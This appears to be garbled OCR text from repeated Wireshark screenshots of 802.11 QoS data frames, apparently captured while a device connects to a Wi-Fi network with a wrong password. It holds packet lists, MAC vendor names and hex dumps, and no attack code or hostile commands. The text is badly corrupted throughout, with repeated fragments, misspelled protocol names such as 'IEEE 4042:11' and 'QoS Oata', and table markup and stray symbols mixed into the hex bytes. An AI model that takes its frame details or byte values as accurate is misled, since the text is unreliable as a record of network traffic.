) Frame 235: 78 bytes) IEEE 902.11 QoS Data,) Data (44 bytes) Activities Wireshark File Edit View Go Capture []]] @ @]]	on vire (624 bits), 78 , Flags: .pT b. Conne	ecting with	n Wro	ng Password side 19 00 parte_iith_cuest_r	88 41 30 60 70 55 70 20 74 74 854 Image: State St	f • @ • •Du • • • M • •] • T - • •
Frame 235: 70 bytes IEEE 802: 11 QoS Oata, IEEE 4042: 11 QoS Oata, Activities Wireshark Fle Edd View Go Capture Image: Solution Capture	on vire (624 bits), 78 , Flags: .pT b. Conne a gnalyze glatistics Telephony © @ @ @ # # @ or winsa - d8.32:e3.0x/dffe	bytes captured (624 b ecting with Wireless Tools Help The Construction of the Construc	n Wro a a I	ng Password site 19 of parte_iith_cuest_i	0000 88 41.30 00 70 55 70 20 -Ac 0000 88 41.30 60 70 20 00 90 <td>f • @• Du • • • M • •] • T - • • •</td>	f • @• Du • • • M • •] • T - • • •
Frame 335: 78. bytes IFEE 803.21 (305 Data, Data (44 bytes) Activities Wireshark File 680.21 (90 Data, File 680.21 (90 Data, José 200 Data,	on wire (624 bits), 78 , Flags: p7 b. Conne Maiyae Statistics Telephony See Searce	bytes captured (624 b ecting with Wireless Tools Help Extination	n Wro Q Q II Protocol	DING PASSWORD State 19 of PARTB_ITH_CUEST_F	S34 S34 S4 S4 S4 S4 S54 S54 S54 S54 S54 S54 S54 S55 S5 S5	f - @- Du M] - T
Frame 235: 78 bytes IEEE 002.11 QoS Data, IEEE 002.11 QoS Data, Data (44 bytes) Activities	on vire (624 bits), 78 , Flags: .pT b. Conne Analyze Statistics Telephony S C Q = # # Source source Heavactive Source - d832e30ad546 Source How Jett P. Source - d832e30ad546	bytes captured (624 b ecting with wireless Iools Help w	n Wro	Ing Password star 19 or PARTD_ITH_CUEST_I Length [Identification] Time to live 102	0000 88 413 60 70 50 10 83 62 25 a) 76 20 60 50 50 60 50 50 60 50 60 60 50 60 60 50 60 60 50 60 60 50 60 60 50 60 60 50 60 60 50 60	f . @. Du M .] . T
Frame 335: 78. bytes Free 802.11 (05 Data, > Data (44 bytes) Activities Wireshark Flee Beit View So Capture I windma = 4832: 100.016 fb I windma = 4832: 100.0123 155: 78. 00100123	on wire (624 bits), 78 , Flags: .p7 b. Connec a gasiyae glatistics Telephony Contained and the second seco	bytes captured (624 b ecting with Wreless Tools Help Wreless Wreless Tools Help Wreless Tools Help Wreless Wreless Tools Help Wreless Tools Tools Help Wr	Dits)	Dassword Star 19 of PARTB_ITH_CUEST_I Length Identification Time to live 192 192	S44 S4 S	f • 00 • 00 • 00 • 00 • 00 • 00 • 00 •
Frame 335: 78. bytes IFEE 802.11 QoS Data, Data (44 bytes) Activities Wireshark File Edit View Go Capture Image: Second	on wire (624 bits), 78 , Flags: .pT b. Conne	bytes captured (624 b ecting with ecting with ecting a left ecting ectin	Protocol 902 9 11 Protocol 902 11 902 11 902 11 902 11	Ing Password stde 19 00 PARTB_IITH_CUEST_T PARTB_IITH_CUEST_T PARTB_IITH_CUEST_T PARTB_IITH_CUEST_T PARTB_IITH_CUEST_T PARTB_IITH_CUEST_T PARTB_IITH_CUEST_T PARTB_IITH_CUEST_T PARTB_IITH_CUEST_T PARTB_IITH_CUEST_T PARTB_IITH_CUEST_T PARTB_IITH_CUEST_T PARTB_IITH_CUEST_T PARTB_IITH_CUEST_T	0000 88 41 30 00 70 95 75 c0 10 83 00 25 25 a0 70 20 -A 0000 65 b0 65 64 ro 20 46 30 00 95 50 00 20 00 00 -A 0000 7d 9b 1a 4d do c0 5d a4 20 00 40 55 rd 00 00 -A 0000 7d 9b 1a 4d do c0 5d a4 20 00 a0 e4 dd 59 rd 0e -A 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 ef C 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 ef C 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 ef C 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 ef C 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 ef C 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 ef C 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 ef C 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 ef C 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 ef C 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 ef C 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 ef C 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7	f • 00 • 00 • 00 • 00 • 00 • 00 • 00 •
Frame 335: 78. bytes Free 802.11 (05 Data, > Data (44 bytes) Activities Wireshark File 680.21 (10 Go and a few	on wire (624 bits), 78 , Flags: p7 b. Connec a data gatastics Telephon a data data gatastics T	bytes captured (624 b ecting with wreless Jools Help with a line of the state and the state heaviet the soft fail : failed Hewalet the soft failed Hewalet the soft failed	Protocol Protocol 002.11 002.11 002.11 002.11 002.11 002.11 002.11 002.11 002.11	Date 19 of BARTB_ITH_CUEST_F ARTB_ITH_CUEST_F 192 192 192 192 192	0000 88 41.30 00 r 0 55 73 ce 1.0 33 08 22 25 a9 76 20 -A 0000 68 41.30 60 r 0 54 05 06 00 50 09 02 00 08 0000 00 00 b7 72 44 f ac 34 80 00 00 55 09 02 07 05 06 08 0000 00 00 b7 72 44 f ac 55 d a4 23 66 79 62 74 55 06 40 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f 3 c7 0 {	f · · @· Du · · · Du · · · M· ·] · T - · · ·
Frame 335: 78. bytes IFEE 802.11 (05 bata, IFEE 802.11 (05 bata, Data (44 bytes)	on wire (624 bits), 78 , Flags: .pT b. Connec Malyze Statistics Telephony © © Q ← ⊕ ⊕ for winas → dB32e30affet HewlettP_50:49:70 Hiaamico_0a:fd:fe Xiaamico_0a:fd:fe Xiaamico_0a:fd:fe	bytes captured (624 b ecting with ecting with exting a left exting a left mathematical and a left Mananical and a left HewlettP_66:fa:e4 HewlettP_66:fa:e4 HewlettP_66:fa:e4 HewlettP_66:fa:e4	Protocol 602.11 602.11 602.11 602.11 602.11 602.11 602.11 602.11 602.11	Ing Password stde 19 of PARTO_ITH_CUEST_T 02 102 102 102 102 102 102	0000 88 41 30 60 70 95 75 c0 10 83 60 25 25 a9 76 20 -A 0000 68 41 30 60 70 95 75 c0 10 83 60 25 25 a9 76 20 00 00 0000 70 80 75 20 10 83 60 75 20 00 96 00 00 00 10 80 75 60 70 80 70 80 00 <td>f · · @ · Du · · · Du · · · M · ·] · T - · · ·</td>	f · · @ · Du · · · Du · · · M · ·] · T - · · ·
Frame 235: 78 bytes Free 802.11 (05 bata,) Data (44 bytes) Activities Wireshark File 802.11 (05 bata,) Data (44 bytes) Activities Wireshark File 804.11 (05 bata,) Data (44 bytes) Software (155) 28.001023 (155) 28.001023 (155) 28.001023 (155) 28.001023 (155) 28.001023 (155) 28.003076 (155) 28.003076 (155) 28.003076 (155) 28.003076 (155) 28.003076 (155) 28.003076 (155) 28.003076 (155) 28.00376 (155) 28.00376	on wire (624 bits), 78 , Flags: ,p7 b. Connec analyze Statistics Telephony analyze Stati	bytes captured (624 b ecting with wireless Tools Help Wireless Tools Help Wireless Tools Help Wireless Tools Help Wireless Tools Help Wireless Constantion Xianomico_Bairfdife Xianomico_Bairfdife Hewlettp_Boifaied Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Clisco_Colfaiel Wireless Wireles	Protocol 802.11 602.11 602.11 602.11 602.11 602.11 802.11 802.11 802.11 802.11	Dig Password atter 19 of PARTB_IITH_CUEST_F IO2 102 102 102 102 102 102 102 10	0000 88 41 30 60 7c 95 75 c0 1.0 33 60 25 25 a9 76 20 -A 0000 60 30 80 64 7c 34 80 80 60 55 60 90 20 60 80 -A 0000 97 40 31 16 44 46 c5 34 80 80 60 55 60 90 20 60 80 -A 0000 97 40 35 11 44 46 c5 54 44 23 66 a5 e4 40 55 76 40 e -A 0000 30 7b e6 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (1) 0000 30 7b e6 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (1) 0000 30 7b e6 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (1) 0000 30 7b e6 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (1) 0000 30 7b e6 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (1) 0000 30 7b e6 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (1) 0000 30 7b e6 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (1) 0000 30 7b e6 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (1) 0000 30 7b e6 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (1) 0000 30 7b e6 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (1) 0000 30 7b e6 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (1) 0000 30 7b e6 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (1) 0000 30 7b e6 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (1) 0000 30 7b e6 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (1) 0000 30 7b e6 54 2d d0 8c e2 4f 73 23 31 f3 c7 <t< td=""><td>f · @· Du · · · T - · · ·</td></t<>	f · @· Du · · · T - · · ·
Frame 335: 78. bytes IFEE 803.21 (005 Data,) Data (44 bytes) Activities Wireshark File 803.21 (005 Data,) Data (44 bytes) Wireshark File 803.21 (005 Data,) Data (44 bytes) Wireshark File 804.21 (005 Data,) Data (44 bytes) Wireshark File 804.22 (005 Capture) Wireshark Wireshark File 804.23 (005 Capture) Wireshark Wireshark Wireshark Wireshark File 804.23 (005 Capture) Wireshark Wireshark File 804.23 (005 Capture) Wireshark Wireshark Wireshark Wireshark Wireshark Wireshark File 804.23 (005 Capture) Wireshark File 804.23 (005 Capture) Wireshark File 804.23 (005 Capture) Wireshark <td< td=""><td>on wire (624 bits), 78 , Flags: .pT b. Connec </td><td>bytes captured (624 b ecting with ecting with exting a field exting a field exting a field mexico.exting mexico.exting exting mexico.exting exting mexico.exting exting mexico.exting exting mexico.exting ex</td><td>Protect Protect 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11</td><td>Ing Password State 19 of PARTO_INTH_CUEST_F 102 102 102 102 102 102 102 102</td><td>0000 88 41 30 60 70 95 75 c0 1.08 3 60 25 25 a 3 76 20 -A 0000 68 41 30 60 70 95 75 c0 1.08 3 60 25 25 a 3 76 20 0.00 95</td><td>f . @. Du M] . T</td></td<>	on wire (624 bits), 78 , Flags: .pT b. Connec 	bytes captured (624 b ecting with ecting with exting a field exting a field exting a field mexico.exting mexico.exting exting mexico.exting exting mexico.exting exting mexico.exting exting mexico.exting ex	Protect Protect 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11	Ing Password State 19 of PARTO_INTH_CUEST_F 102 102 102 102 102 102 102 102	0000 88 41 30 60 70 95 75 c0 1.08 3 60 25 25 a 3 76 20 -A 0000 68 41 30 60 70 95 75 c0 1.08 3 60 25 25 a 3 76 20 0.00 95	f . @. Du M] . T
Frame 235: 78 bytes Free 802.11 (05 bata, 100 b	on wire (624 bits), 78 , Flags: ,p7 b. Connec analyze Statistics Telephony analyze Stati	bytes captured (624 b ecting with wireless Tools Help Wireless Tools H	Protocol 92.11 92.11 92.11 92.11 92.11 92.11 92.11 92.11 92.11 92.11 92.11 92.11 92.11	Dig Password atte 19 of PARTB_IITH_CUEST_I Length Identification Time to live 102 102 102 102 102 102 102 102	0000 88 41 30 60 7c 95 75 c0 1.0 33 60 22 25 a9 76 20 -A 0000 68 41 30 60 7c 95 75 c0 1.0 33 60 25 25 a9 76 20 -A 0000 c0 3b 80 66 7c 40 20 80 60 55 60 90 20 60 60 -A -A 0000 30 7b 11 4d 10 c0 5d 44 20 60 95 50 40 20 60 -A 0000 30 7b e0 54 2d 40 8c e2 47 73 23 31 f3 c7 e(f'-@- Du T Γ =
Frame 335: 78. bytes IFEE 803.21.10 QS bata, > Data (44 bytes) Activities Wireshark File Edit User Go Capture Image: Section 100 and	on wire (624 bits), 78 , Flags: , p7 b. Connec analyze gatistics Telephony	bytes captured (624 b ecting with exting with extinct a state of the extinct a state of the medicity of the extinct a state of the medicity of the extinct a state of the medicity of the extinct a state of the exting a state of the extinct a state of the extinct a state of the extinct a state of the extinct a state of the extinct a state of the extinct a state of the extinct a state of the extinct a state of the extinct a state of the extinct a state of the extinct a state of the extinct a state of the extinct a state of the extinct a state of the extinct a state of the extin a state of the extinct a state of the extinct a state of the	Protocol 802_11 802_11 802_11 802_11 802_11 802_11 802_11 802_11 802_11 802_11 802_11 802_11 802_11	Ing Password side 19 of PARTB_IITH_CUEST_I 102 102 102 102 102 102 102 102	0000 88 41 30 60 70 55 73 c0 10 83 60 22 25 a9 76 20 -A 0000 68 41 30 60 70 55 73 c0 10 83 60 22 25 a9 76 20 -A 0000 60 50 60 60 55 60 00 60 60 55 60 00 60 60 55 60 00 60 60 60 60 60 60 60 60 60 60 60	f · ⊕. Du T
Frame 235: 78 bytes Free 802.11 (05 bata, > Data (44 bytes) Activities ✓ Wireshark File 802.11 (05 bata, > Data (44 bytes) Activities ✓ Wireshark File 604 (Yew Go Capture Image: State 100 (State 100 (Stat	on wire (624 bits), 78 , Flags: , p	bytes captured (624 b ecting with wireless loos Help Wireless lo	Protocol 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11 802.11	Description Descr	6000 88 41 30 60 7c 95 75 c0 1.0 83 60 25 25 a9 76 20 -A 6000 60 95 60 60 25 60 50 90 60 50 90 80 90 50 90 90 90 90 90 90 90 90 90 90 90 90 90	f · @ · Du · · · Du · · · T · · · · σ ⊗ ⊗ • + +
Frame 335: 78, bytes Fifter 802.41 (05 bata,) Data (44 bytes) Activities ✓ Wireshark File 802.41 (05 bata,) Data (44 bytes) Activities ✓ Wireshark File 802.41 (05 bata,) Data (44 bytes) ✓ Wireshark File 802.41 (05 bata,) Data (44 bytes) ✓ Wireshark File 804 (05 bata,) Data (44 bytes) ✓ Wireshark File 804 (05 bata,) Data (44 bytes) ✓ Wireshark File 804 (05 bata,) Data (44 bytes) ✓ Wireshark File 804 (05 bata,) Data (44 bytes) ✓ Wireshark File 804 (05 bata,) Data (44 bytes) ✓ Wireshark File 804 (05 bata,) Data (44 bytes) ✓ Wireshark File 804 (05 bata,) Data (44 bytes) ✓ Wireshark Wireshark ✓ Wireshark File 804 (05 bata,) Data (45 bata) ✓ Wireshark File 804 (05 bata) ✓ Wireshark	on wire (624 bits), 78 , Flags: , p	bytes captured (624 b ecting with wretes Tools Help wiensco_sa:fd:fe XiaomiCo_sa:fd:fe NiaomiCo_sa:fd:fe Hewlettp_6fa:e4 Cisco_c0:a:fd:fe Cisco_c0:a:fd:fe Cisco_c0:a:fd:fe Cisco_c0:a:fd:fe Cisco_c0:a:fd:fe Cisco_c0:a:fd:fe Cisco_c0:a:fd:fe Cisco_c0:a:fd:fe	Protocol 002.11 002.	Ing Password and 19 of PARTB_IITH_CUEST_I 102 102 102 102 102 102 102 102	0000 88 41 30 60 70 55 73 c0 10 83 60 22 25 a9 76 20 -A 0000 68 41 30 60 70 55 73 c0 10 83 60 22 25 a9 76 20 -A 0000 60 50 60 60 57 60 90 60 55 60 90 60 50 60 -A -A 0000 7d 95 1a 4d do c0 5d a4 20 60 60 55 60 90 60 60 -A 0000 7d 95 1a 4d do c0 5d a4 20 66 a0 e4 6d 55 76 6 e -A 0000 30 7b e0 54 2d do 8c e2 4f 73 23 31 f3 c7 e(- 0000 30 7b e0 54 2d do 8c e2 4f 73 23 31 f3 c7 e(- 0010 30 7b e0 54 2d do 8c e2 e1 73 23 31 f3 c7 e(- 0010 30 7b e0 54 2d do 8c e2 e1 73 23 31 f3 c7 e(- 0010 30 7b e0 54 2d do 8c e2 e1 73 23 31 f3 c7 e(- 0010 30 7b e0 54 2d do 8c e2 e1 73 23 31 f3 c7 e(- 0110 10 4d do c0 54 a4 20 40 8c e2 e1 73 23 31 f3 c7 e(- 0110 10 4d do c0 54 a4 20 40 8c e2 e1 73 23 31 f3 c7 e(- 0110 10 4d do c0 54 a4 20 40 8c e2 e1 73 23 31 f3 c7 e(- 0110 10 4d do c0 54 a4 20 40 8c e2 e1 73 23 31 f3 c7 e(- 0110 10 4d do c0 54 a4 20 40 8c e2 e1 43 4c e4 </td <td><pre>f · @· Du·· T · · · T · · · </pre></td>	<pre>f · @· Du·· T · · · T · · · </pre>
Frame 235: 78 bytes Free 802.11 (05 Data, Data (44 bytes) Activities Wireshark File 802.11 (05 Data, Data (44 bytes) Activities Wireshark File 602 (Were Go Capture Winda = 6822e3 0.04 dfe No. Time 1550 28.04026 1557 28.04023 1557 28.04026 1557 28.04026 1557 28.04026 1557 28.04026 1557 28.04026 1557 28.04026 1557 28.04026 1557 28.04026 1557 28.04026 1557 28.04026 1557 28.04026 1557 28.04026 1573 28.172108 1586 29.381510 1595 29.438711 1595 29.438961 1595 29.438961 1595 29.438961 1595 29.438961 1595 29.438961 1595 29.438961 1595 29.438961 1595 29.438971	on wire (624 bits), 78 , Flags: , pT b. Connec Analyze Statistics Telephom Construction C	bytes captured (624 b ecting with wireless loos Help Wireless loos Help Wireless loos Help Wireless loos Help Miamico_Barificife Xiaomico_Barificife Xiaomico_Barificife Cisco_Colici93 Cisco_Colici	Wro W	Ang Password Star 19 or PARTD_ITH_CUEST_I CARTD_ITH_CUEST_I 102 102 102 102 102 102 102 102	554 ••••• ••••• ••••• S54 ••••• ••••• ••••• ••••• S64 •••••• •••••• •••••• •••••• S64 ••••••• ••••••• ••••••• •••••••• S64 ••••••••• ••••••••••••••••••••••••••••••••••••	r - e- Du T 2
Frame 335: 78. bytes Free 802.11 (05 bata, > Data (44 bytes) Activities Wireshark File Bat, 21.10 (05 bata, > Data (44 bytes) Activities Wireshark File Bat, 21.00 (05 bata, Image: State 10 (05 bata,	Analyze Statistics Telephory Statistics Telephory Statistics Telephory Statistics Telephory Saurce HewJactt P.50:49:70 Hammico_Bari dir fe HewJactt P.50:49:70 Hammico_Bari dir fe HewJactt P.50:49:70 HewJactt P.50:49:70 Hammico_Bari dir fe HewJactt P.50:49:70 H	bytes captured (624 b ccting with cting with wields look Hep wields lo	Protoci 902 (1) 902	Ing Password andre 19 of PARTE_IITH_CUEST_I 102 102 102 102 102 102 102 102	0000 88 41 30 60 70 55 73 c0 10 83 60 22 25 a9 76 20 -A 0000 68 41 30 60 70 55 73 c0 10 83 60 22 25 a9 76 20 00 00 00 0000 74 95 11 4d 06 c5 24 61 80 60 55 60 60 80 00	f · @ · Du · · · T · · · ·
Frame 235: 78 bytes Free 802.11 (05 Data, Data (44 bytes) Activities Wireshark File 802.11 (05 Data, Data (44 bytes) Activities Wireshark File 804 View Go capture Winda - 603228:30.4046 No. Time 1550 28.061023 1557 28.061023 1558 29.2643980 1559 29.5643980 1567 28.067243	on wire (624 bits), 78 , Flags: , pT b. Connec Analyze Statistics Telephon Construction C	bytes captured (624 b ecting with wireless loos Help Wireless loos Help Cisco, Coll 2013 Cisco, Coll 2013 Ci	Wro W	Length Identification Time to live 102 102 102 102 102 102 102 102	554 •••• •••• •••• 554 •••• •••• •••• •••• 564 •••• •••• •••• •••• 564 •••• •••• •••• •••• 564 •••• •••• •••• •••• 564 •••• •••• •••• •••• 564 •••• •••• •••• •••• 564 •••• •••• •••• •••• 564 •••• •••• •••• •••• 564 •••• •••• •••• •••• 564 •••• •••• •••• •••• 564 •••• •••• •••• •••• 564 •••• •••• •••• •••• 564 •••• •••• •••• •••• •••• 564 •••• •••• •••• •••• •••• •••• 560 •••• •••• •••• •••• •••• •••• •••• 560 •••• <td>· · · · · · · · · · · · · · · · · · ·</td>	· · · · · · · · · · · · · · · · · · ·
Frame 335: 78. bytes Free 802.11 (055 bata,) Data (44 bytes) Activities Wireshark File 802.11 (055 bata,) Data (44 bytes) Activities Wireshark File 802.11 (055 bata,) Data (44 bytes) South and a bata (44 bytes) Pile Edit View Go Capture (1556 28.08105) South and a bata (1556 28.08105) No. Time (1556 28.084070 (1556 28.084	m wire (624 bits), 78 , Flags: , p 7 b. Connee mayze gatistics Telephony gatalyze gatistics Telephony wie wie wie wie wie wie wie wie wie	bytes captured (624 b ccting with a Wreless Tools Help a Wreles	Pratoci 62 2 11 62 11 662 1	Description Descr	0000 88 41.30 000 ro 95 for a 140 80 000 80 50 90 25 25 a 9 76 26 0 -Ac 0000 60 b 85 66 10 a 24 80 80 000 50 90 20 20 90 80 0000 90 b 72 24 47 66 a 24 80 80 00 80 50 90 20 74 20 80 80 0000 90 b 72 24 47 66 a 24 80 80 80 55 90 20 74 25 80 90 80 0000 90 b 72 24 47 66 a 24 80 80 80 55 90 20 74 25 80 40 80 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 { 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 { 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 { 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 { 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 { 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 { 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 { 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 {	7 . @ Dus M -] : T - · · ·
Frame 235: 78 bytes Free 802.11 (05 Data) > Data (44 bytes) Activities Wireshark File 802.11 (05 Data) > Data (44 bytes) Activities Wireshark File 802.11 (05 Data) File 802 (Wer 06 capture Image: State 100 (05 Data) Image: State 100 (05 Data)<	on wire (624 bits), 76 , Flags: , pT b. Connec Analyze Statistics Telephon @ Analyze Statistics Telephon @	bytes captured (624 b ecting with wireless Iools Help Wireless Iools Help Cisco. e0:10:93 Cisco. 00:10:93 Cisco. 00:10:93 Cis	C C C C C C C C C C C C C C C C C C C	Length Identification Time to live 102 102 102 102 102 102 102 102	364 0000 88 41 30 00 70 95 75 c0 10 83 00 25 25 a0 70 20 -A 0000 000 50 00 00 00 000 50 00 00 00 000 00 000 00 000 00 0000 30 7b 10 40 d0 c0 51 d4 28 06 00 50 00 00 c0 000 00 000 00 000 00 000 00 0000 30 7b 10 40 d0 c0 51 d4 28 06 00 50 d0 00 c0 000 00 000 00 000 00 000 00 0000 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (100 00 00) 0 (100 00) 0 (100 00) 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (100 00) 0 (100 00) 0 (100 00) 0 (100 00) 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (100 00) 0 (100 00) 0 (100 00) 0 (100 00) 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (100 00) 0 (100 00) 0 (100 00) 0 (100 00) 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (100 00) 0 (100 00) 0 (100 00) 0 (100 00) 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (100 00) 0 (100 00) 0 (100 00) 0 (100 00) 30 7b e0 54 2d d0 8c e2 4f 73 23 31 f3 c7 0 (100 00) 0 (100 00) 0 (100 00) 0 (100 00) 30 7b e1 4d e1	r. Q Du Du T α ⊗
Frame 335: 78. bytes IFEE 802.11 (055 bata,) Data (44 bytes) Activities Wireshark File 802.11 (055 bata,) Data (44 bytes) Activities Wireshark File 802.11 (055 bata,) Data (44 bytes) Wireshark File 602.11 (055 bata,) Using 100 (056 bata) Solution 100 (056 bata) I winds - d832:10 (056 bata) Solution 100 (056 bata) I winds - d832:10 (056 bata) Solution 100 (056 bata) I winds - d832:10 (056 bata) Solution 100 (056 bata) I winds - d832:10 (056 bata) Solution 100 (056 bata) I winds - d832:10 (056 bata) Solution 100 (056 bata) I winds - d832:10 (056 bata) Solution 100 (056 bata) I winds - d832:10 (056 bata) Solution 100 (056 bata) I winds - d832:10 (056 bata) Solution 100 (056 bata) I winds - d832:10 (056 bata) Solution 100 (056 bata) I winds - d832:10 (056 bata) Solution 100 (056 bata) I winds - d832:10 (056 bata) Solution 100 (056 bata) I winds - d832:10 (056 bata) Solution 100 (056 bata) I winds - d832:10 (056 bata) Solution 100 (056 bata) I winds - d832:10 (056 bata) Solution 100	on wire (624 bits), 78 , Flags: p7 b. Connec a gaalyze glatistics Telephony B. Connec a gaalyze glatistics Telephony Connection of the state of the state of what is a state of the state of the state trainentics of the state of	bytes captured (624 b ccting with (Wreless Tools Help (Wreless Tools Too	Protection Protec	Description Descr	6000 88 41.30 c00 rc 95 f3 c0 1.0 s3 60 25 25 a9 70 20 -A 6000 60 bb 16 c0 c1 a 34 60 60 b0 55 60 00 20 00 60	7 : 0 · · · · · · · · · · · · · · · · · ·
Frame 235: 78 bytes Free 802.11 (05 Data) > Data (44 bytes) Activities Wireshark File 802.11 (05 Data) > Data (44 bytes) Activities Wireshark File 802 (Wer Go Capture Image: State 100 (State) Image: St	on wire (624 bits), 76 , Flags: , pT b. Connec Analyze Statistics Telephon © Wins ave ad B32x8 backfile Source HewlettP_56: 49:7d HewlettP_56: 49:7d Hew	bytes captured (624 b ecting with wireless Iools Help Wireless Iools Help Wireless Iools Help	C C C C C C C C C C C C C C C C C C C	Description Descr	363 0000 88 41 30 00 70 95 75 c0 10 83 00 25 25 a9 70 20 -A 0000 60 95 00 00 00 95 00 00 00 00 00 00 00 00 00 00 00 00 00	7 · @. · · · · · · · · · · · · · · · · ·
Frame 335: 78. bytes Free 802.11 (05 Data, Data (44 bytes) Activities Wireshark File 802.11 (05 Data, Data (44 bytes) Activities Wireshark File 802.11 (05 Data, Data (44 bytes) Capture Capture File 802.11 (05 Data, Data (44 bytes) Capture File 802.12 (05 Data (45 by	Analyze (24 bits), 78 Analyze (24	bytes captured (624 b ecting with a Wreless Jools Help a Wreles	Protocol 802.11 802	Dig Password Star 19 of PARTB_IITH_CUEST_I IO2 IO2 IO2 IO2 IO2 IO2 IO2 IO	6000 88 41 30 60 7c 95 75 c0 1.0 83 60 25 25 a 9 76 20 -A 6000 60 9 b5 66 7c 45 75 c0 1.0 83 60 95 76 90 20 00 80	rf.@
Frame 235: 78 bytes Free 802.11 (05 Data) Data (44 bytes) Activities Wireshark File 802.11 (05 Data) Data (44 bytes) Activities Wireshark File 602.11 (05 Data) File 602.11 (05 Data) File 602 (View Go Capture Wireshark Winda - e 08 322:03.03 (de file) Winda - e 08 322:03.03 (de file) No. Time 1555 28.061023 1557 28.061023 1557 28.061023 1557 28.061023 1557 28.061023 1557 28.061023 1557 28.061023 1557 28.061023 1557 28.061023 1557 28.061023 1557 28.061023 1557 28.061023 1557 28.061023 1557 28.061023 1557 28.061023 1557 28.061023 1557 28.061023 1567 28.061023 1567 28.061023 1567 28.061023 1567 28.061023 1567 28.061023 1567 28.061023	on wire (624 bits), 78 , Flags: ,pT b. Connec Analyze Statistics Telephony @	bytes captured (624 b ecting with	Protocol 602.11 602.11 602.11 602.11 602.11 802.	Dig Password sda 19 or PARTB_ITH_CUEST_T PARTB_ITH_CUEST_T 102 102 102 102 102 102 102 102	0000 88 41 30 60 7c 95 7c 0 1.0 83 60 22 25 a9 76 20 -A 0000 60 95 60 60 22 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <	rf.eg., Duu N]: T
Frame 335: 78. bytes Free 802.11 (05 Data, > Data (44 bytes) Activities Wireshark File Big 21.11 (05 Data, > Data (44 bytes) Activities Wireshark File Big 21.11 (05 Data, File Big 21.11 (05 Data, Wireshark File Big 21.11 (05 Data, Wireshark File Big 21.11 (05 Data, Wincha = 00 (02) File Big 20.11 (05 Data, Wincha = 00 (02) File Big 20.11 (05 Data, Wincha = 00 (02) File Big 20.11 (05 Data, File Big 20.11 (05 Data, <t< td=""><td>on wire (624 bits), 78 , Flags: , p</td><td>bytes captured (624 b ecting with a Wreless 1005 Help a Wreless 1005 Help a m m m m m m m m a m m m m m m m m m m m b m m m m m m m m m m m m m m m m m m m</td><td>C C C C C C C C C C C C C C C C C C C</td><td>Description Description Description Length Infection Time to live 102 102 102 102 102 102 102 102</td><td>6000 88 41 30 60 7c 95 75 c0 1c 93 60 22 25 a9 76 20 -A 6000 60 95 60 60 50 60 95 60 90 20 00 60 </td><td>[↑].@↓ Dus M]. 2 ⊗ ⊗</td></t<>	on wire (624 bits), 78 , Flags: , p	bytes captured (624 b ecting with a Wreless 1005 Help a Wreless 1005 Help a m m m m m m m m a m m m m m m m m m m m b m m m m m m m m m m m m m m m m m m m	C C C C C C C C C C C C C C C C C C C	Description Description Description Length Infection Time to live 102 102 102 102 102 102 102 102	6000 88 41 30 60 7c 95 75 c0 1c 93 60 22 25 a9 76 20 -A 6000 60 95 60 60 50 60 95 60 90 20 00 60	[↑].@↓ Dus M]. 2 ⊗ ⊗
